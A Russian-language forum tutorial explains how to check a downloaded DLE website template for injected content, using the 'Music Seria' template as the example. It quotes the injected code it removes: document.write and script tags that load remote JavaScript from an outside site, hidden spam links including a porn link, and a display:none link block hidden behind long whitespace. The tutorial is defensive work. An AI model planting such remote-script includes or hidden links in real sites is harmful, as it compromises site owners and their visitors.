Проверка шаблонов перед их использованием
Видеоурок по теме
Чистка шаблонов от внешних ссылок и скриптов на примере шаблона DLE.
В интернете сейчас очень много сайтов публикют шаблоны для DLE. Вреди них есть отличные сайты и есть сайты которым все равно что на них размещают журналисты, такие сайты называются ГС. Так вот, на таких сайтах частенько публикуются шаблоны к которых встраиваются вредоносные скрипты и целый вагон лишних ссылок.
Из своего опыта скажу что у меня ломали сайт на дле из-за моей невнимательности. Перед публикацией у нас на форуме я стараюсь вычищать шаблоны, но что-то могу не найти, так что проверяйте шаблоны и после меня.
В этой статейке я расскажу об основных приемах чистки шаблонов на примере.
К примеру, я взял и скачал где-то шаблон Music Seria. Шаблон сам по себе не плохой, но в нем целый вагон всякой шляпы напихали, сейчас буду рассказывать какой.
1. После скачки шаблона проверьте его на наличие ява скриптов. Побегайте по папкам и поищите файлы с расширением js. Я лично нашел в папке js файл
global.js в котором было содержимое:
Код:
document.write("<script language='JavaScript' src='http://club.sn27.net/stat.php'></script>");
document.write("<script language='JavaScript' src='http://club.sn27.net/sait/id1.js'></script>");
Поверьте, это явно не запчасть шаблона, сразу же мочим файл. Теперь через поиск ищите в tpl файлах упоминание файла
global.js, я нашел в файле
main.tpl строчку:
Код:
<SCRIPT LANGUAGE="Javascript" SRC="{THEME}/js/global.js"></SCRIPT>
Мочим ее, она не нужна. Ковыряемся дальше. Если шаблон не использует собственных ява скриптов - все упрощается, если нет - то немного сложней.
Через текстовый поиск по файлам ищим слово
SCRIPT в шаблоне.
Я нашел в шаблоне
login.tpl строчку:
Код:
<SCRIPT LANGUAGE="Javascript" SRC="http://club.sn27.net/sait_cop_login/id1.js"></SCRIPT>
Этого добра нам тоже не надо.
Теперь я лезу в самый интересный файл шаблона
login.tpl. Он интересен тем что его содержимое меняется в зависимости залогинен ты или нет, и как раз туда стараются напихать ссылок, в то время когда залогиненый админ их не увидит. Я открыл файл и в самом конце после строчки?
Код:
<a href="{$link_regist}">Регистрация на сайте!</a> | <a href="{$link_lost}">Забыли пароль?</a>
Нахожу то что я и ожидал найти:
Код:
<a href="http://sn27.net" alt="Онлайн порно видио"></a><a href="http://gameswar.ru" alt="GAMESWAR.RU - Скачать игры на любой вкус / Обзоры, новости, тренеры, приставки, PC, онлайн игры, Flesh игры и многое другое"></a><a href="http://3dawangard.ru" alt="Графика , 3D дизайн , интерьер , модели"></a><a href="http://odessa.sn27.net" alt="Все для вебмастера ; Шаблоны для IFOLDER.RU , joomla , DLE и ucoz"></a>
Я думаю что этот вагон ссылок на главной нам тоже ни к чему. Мочим без сожаления. Больше я с ходу ничего не нашел, но вам рекомендую покопаться самостоятельно и еще раз проверить. А так же постоянно помнить что в интернете на каждом шагу подстава и все надо перепроверять.
Добавлено 23.11.2011г. Нашел еще один тип подключения ссылки, суть подключения в том что внешнюю ссылку не будет видно и найти ее по признакам будет нельзя (т.е. прописав в поиск http - результата не будет, и SEOQuake ее тоже не найдет).
Опять таки пример. Взял шаблон, поставил на сайт, смотрю яшка нашел левую страницу. Короче говоря в папке
bbcodes шаблона лежат 2 файла
color.htm и
color.html, тот что
color.html - это таблица цветов для редактора сообщений, а тот что
color.htm - это банальная страничка с микро статьей и ссылкой на левый сайт. Сама страница подключается к шаблону через шаблон навигации (navigation.tpl - обратите внимание на то что код вставлен через 100 пробелов от кода навбара, т.е. его будет видено если прокрутить нижний скрол редактора) кодом:
Код:
<div style="display:none;"><a href="{THEME}/bbcodes/color.html" >Шаблоны dle</a></div><div style="display:none;"><a href="{THEME}/bbcodes/color.htm" >DLE шаблоны</a></div>
Если у Вас тот же симптом, то можете смело мочить файл с ссылкой и этот блок кода в шаблоне.
Удачи.
ps
Для поиска в шаблонах рекомендую использовать программу
Total Commander. Она отлично с этим справляется.
Автор мануала Serberg